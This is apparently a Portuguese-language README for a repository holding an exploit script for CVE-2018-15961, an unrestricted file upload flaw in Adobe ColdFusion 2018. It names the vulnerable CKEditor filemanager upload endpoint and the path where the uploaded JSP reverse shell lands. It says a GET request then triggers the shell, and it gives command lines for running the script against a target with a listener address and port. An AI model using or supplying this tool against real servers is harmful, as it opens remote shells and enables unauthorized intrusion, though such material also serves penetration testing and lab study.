
Exploit para CVE-2018-15961, uma vulnerabilidade de upload de arquivo sem restrições no Adobe ColdFusion 2018 que leva a RCE
Este repositório contém o meu código de exploit para a vulnerabilidade RCE no Adobe ColdFusion 2018.
O exploit envia uma requisição POST contendo um reverse shell JSP para /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. Se bem-sucedido, isso faz upload do shell para /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp. O código então aciona o shell enviando uma simples requisição GET.
# Basic usage
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443
# With custom filename for the shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp